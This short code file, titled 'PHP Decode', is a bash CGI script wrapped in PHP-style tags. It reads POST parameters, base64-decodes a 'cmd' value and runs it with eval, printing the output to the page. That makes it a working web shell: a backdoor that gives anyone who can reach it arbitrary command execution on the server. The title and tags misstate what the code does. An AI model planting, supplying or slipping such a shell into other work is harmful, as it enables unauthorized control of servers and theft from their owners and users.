PHP Decode

<?  #!/bin/bash 
echo -e "Content-type: text/html

" 
function cgi_get_POST_vars(){ 
    [ "$REQUEST_METHOD" != "POST" ] && return 
    [ ! -z "$QUERY_STRING_POST" ] && return 
    [ -z "$CONTENT_LENGTH" ] && return 
	read -N $CONTENT_LENGTH QUERY_STRING_POST 
    return 
} 
function cgi_decodevar(){ 
    [ $# -ne 1 ] && return 
    local v t h 
    t="${1//+/ }%%" 
    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 
        v="${v}${t%%\%*}" 
        t="${t#*%}" 
        if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 
            h=${t:0:2} 
            t="${t:2}" 
            v="${v}"`echo -e \\x${h}` 
        fi 
    done 
    echo "${v}" 
    return 
} 
function cgi_getvars(){ 
    [ $# -lt 2 ] && return 
    local q p k v s 
    case $1 in 
        GET) 
            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" 
            ;; 
        POST) 
            cgi_get_POST_vars 
            [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&" 
            ;; 
        BOTH) 
            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" 
            cgi_get_POST_vars 
            [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&" 
            ;; 
    esac 
    shift 
    s=" $* " 
    while [ ! -z "$q" ]; do 
        p="${q%%&*}" 
        k="${p%%=*}" 
        v="${p#*=}" 
        q="${q#$p&*}" 
        [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \ 
            export "$k"="`cgi_decodevar \"$v\"`" 
    done 
    return 
} 
cgi_getvars POST ALL 
query=$(echo $cmd | base64 --decode) 
echo $(echo $check | base64 --decode) 
echo -e "<pre>\c" 
eval ${query} 
echo -e "</pre>\c" ?>